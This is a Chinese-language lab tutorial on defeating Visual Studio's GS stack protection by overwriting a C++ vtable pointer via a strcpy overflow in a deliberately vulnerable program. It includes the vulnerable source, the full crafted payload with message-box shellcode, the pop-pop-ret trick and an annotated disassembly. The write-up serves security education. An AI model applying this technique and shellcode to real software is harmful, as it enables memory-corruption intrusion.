淹没虚函数地址过GS保护（关闭DEP保护）

作者:黑蛋

1.简介
针对缓冲区溢出覆盖函数返回地址这一特征，微软在编译程序时使用了一个安全编译选项--GS， Visual Studio 2003 (VS 7.0)及以后版本的 Visual Studio 中默认启用了这个编译选项。在所有函数调用时，会向栈中压入一个DWORD，他是data段第一个DWORD与EBP亦或之后形成的值，处于EBP+4的位置，在所有函数执行完返回时，会有一个检查函数，检测EBP+4的值是否和原来一样，一样则正常返回，反之进入异常处理流程，函数不会正常返回，这个操作叫 Security check，如果有缓冲区溢出函数返回值，势必会淹没Security Cookie，进入异常处理流程。如果我们在有GS保护的程序中使用栈溢出淹没返回地址EBP+4的位置，势必会破坏EBP-4的值，在函数返回之前经过Security check，会直接导致我们栈溢出淹没返回值失败，本篇通过调用c++虚函数在GS检查函数之前的特征，通过淹没虚函数地址，让虚函数地址指向我们的shellcode，达到绕过GS保护成功溢出的目的。详细了解GS保护机制可以参考《0day安全》这本书。

2.环境配置

环境

配置

操作系统

XP系统

编译器

vs2008

调试器

x32dbg

3.代码
#include "stdafx.h"
#include "string.h"
class GSVirtual {
public :
void gsv(char * src)
{
char buf[200];
strcpy(buf, src);
bar();
}
virtual void bar()
{
}
};
int main()
{

GSVirtual test;
test.gsv("\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x00");

return 0;

}

这里我们首先给gsv函数传入一段正常的字符串0x90，便于我们第一次分析函数栈内情况。

4.项目配置如下（Win32,release）
第一步:打开项目属性-->配置属性-->C/C++-->代码生成-->运行时库-->多线程调试(/MTd);
第二步:打开项目属性-->配置属性-->C/C++-->代码生成-->缓冲区安全检查（GS）-->是；第三步:打开项目属性-->配置属性-->链接器-->高级-->数据执行保护（DEP）-->否；

5.代码介绍：
创建一个类对象，调用gsv函数，第一次传入199字节\x90,以\x00结尾，方便观察栈内情况；在gsv中有一个拷贝函数，下面紧接着调用一个虚函数；生成exe,拖入x32dbg，因为有符号文件，ctrl+g，输入main，定位到主函数（OD不行），下断点：

F9运行到断点处：

第一个call是创建类对象，第二个call是gsv函数，也就是我们重点观察目标，跟进第二个call，查看堆栈，转到EBP：

其中EBP+4是返回地址，EBP+8是我们传入200字节字符串地址，EBP+C是虚表地址，栈中0012FE8C指向buf，即EBP-D0

我们发现第二个call是GS安全检查函数，而第一个call，经过分析是调用虚函数，如果我们通过淹没虚函数地址，控制程序流程，就可以在GS检查前达到我们的目的，绕过GS保护。

划红线区域就是找虚表第一个虚函数的过程，发现是EBP+C地址指向的地址指向的地址是call eax中eax的值（这块需要仔细理解），所以我们需要控制EBP+C这个位置，查看堆栈情况

我们发现需要延长字符串32个字节，才可以淹没虚表地址，所以构造新的字符串：

test.gsv(
"\xE0\x14\x92\x7C"//这是特意构造的四字节，稍后解释
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"/这堆0x90是为了凑数，毫无意义，对应硬编码是nop，即滑板指令/
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6C\x74\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8“/这段是我们一个弹窗shellcode，效果是弹出一个框，如果程序弹框，证明我们栈溢出成功，并成功绕过GS保护/
”\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90“/这段同样是凑数字节，没有意义/
”\x8C\xFE\x12\x00"/覆盖虚表地址的四字节，同样是我们这段字符串在栈中的首地址/
);

在这里，EBP+C指向的地址已经是我们buf的起始位置，当程序调用虚函数的时候，即call eax：

这里eax的值就是虚表地址，而我们通过淹没这个地址，现在eax指向我们shellcode的第一个四字节，所以这里我们shellcode第一个四字节应该是一个地址，然后程序流程会去执行我们shellcode第一个四字节指向的地方，我们在这里构造一个pop，pop，ret，通过俩次弹栈，让ESP指向我们shellcode第5个字节之后，（第一次是call eax，esp会压入返回值，第二个pop是我们shellcode的第一个四字节），之后ret会执行到esp指向的地方，即我们的弹窗shellcode的地方，达到目的。

下面是我shellcode第一个四字节指向的地方：

6.思考
(1)我们淹没的地址并不是虚函数地址，而是虚表地址，所以我们所淹没的值同样应该是一个地址，这个地址再指向一段程序；
(2)既然我们需要shellcode前四个字节指向一段程序，为什么不直接指向下面的弹窗shellcode的位置，这是因为拷贝函数判断拷贝结束是看这个字节是否=\x00，而我们栈中的地址都是\x00开头，这样会导致拷贝终止，所以我们shellcode除了最后一个字节可以为\x00,其他地方均不得出现\x00，故而我们在程序中寻找不会出现\x00的地址，指向pop，pop，ret，达到控制程序流程到我们的shellcode的目的。

7.最后是我分析gsv函数的一个简单的分析注释：

地址

硬编码

汇编代码

注释

00401000

55

push ebp

gs_virtual.cpp:7

00401001

8BEC

mov ebp,esp

00401003

81EC E4000000

sub esp,E4

00401009

A1 20304200

mov eax,dword ptr ds:[<___security_cook

00423020 DATA段第一个四字节传到EAX

0040100E

33C5

xor eax,ebp

与EBP亦或成COOK

00401010

8945 FC

mov dword ptr ss:[ebp-4],eax

ebp-4=GS COOK

00401013

898D 2CFFFFFF

mov dword ptr ss:[ebp-D4],ecx

EBP-D4=虚函数地址

00401019

8B45 08

mov eax,dword ptr ss:[ebp+8]

EAX=字符串

0040101C

8985 28FFFFFF

mov dword ptr ss:[ebp-D8],eax

EDP-D8 = 字符串地址

00401022

8D8D 30FFFFFF

lea ecx,dword ptr ss:[ebp-D0]

返回到ntdll

00401028

898D 24FFFFFF

mov dword ptr ss:[ebp-DC],ecx

EBP-DC = 0012FE8C

0040102E

8B95 24FFFFFF

mov edx,dword ptr ss:[ebp-DC]

00401034

8995 20FFFFFF

mov dword ptr ss:[ebp-E0],edx

EBP-E0=0012FE8C

0040103A

8B85 28FFFFFF

mov eax,dword ptr ss:[ebp-D8]

00401040

8A08

mov cl,byte ptr ds:[eax]

CL=第一个字符

00401042

888D 1FFFFFFF

mov byte ptr ss:[ebp-E1],cl

EBP-E1 = CL

00401048

8B95 24FFFFFF

mov edx,dword ptr ss:[ebp-DC]

EDX = 0012FE8C

0040104E

8A85 1FFFFFFF

mov al,byte ptr ss:[ebp-E1]

00401054

8802

mov byte ptr ds:[edx],al

第一个字节复制到0012FE8C

00401056

8B8D 28FFFFFF

mov ecx,dword ptr ss:[ebp-D8]

ECX=字符串地址

0040105C

83C1 01

add ecx,1

0040105F

898D 28FFFFFF

mov dword ptr ss:[ebp-D8],ecx

EBP-D8=字符串数组+1

00401065

8B95 24FFFFFF

mov edx,dword ptr ss:[ebp-DC]

EDX = 0012FE8C

0040106B

83C2 01

add edx,1

0040106E

8995 24FFFFFF

mov dword ptr ss:[ebp-DC],edx

栈内存放字符串地址数组+1

00401074

80BD 1FFFFFFF 00

cmp byte ptr ss:[ebp-E1],0

0040107B

75 BD

jne gs_virtual.40103A

0040107D

8B85 2CFFFFFF

mov eax,dword ptr ss:[ebp-D4]

00401083

8B10

mov edx,dword ptr ds:[eax]

00401085

8B8D 2CFFFFFF

mov ecx,dword ptr ss:[ebp-D4]

0040108B

8B02

mov eax,dword ptr ds:[edx]

0040108D

FFD0

call eax

取虚函数地址CALL

0040108F

8B4D FC

mov ecx,dword ptr ss:[ebp-4]

gs_virtual.cpp:11

00401092

33CD

xor ecx,ebp

00401094

E8 57000000

call

GS安全检查函数

00401099

8BE5

mov esp,ebp

0040109B

5D

pop ebp

0040109C

C2 0400

ret 4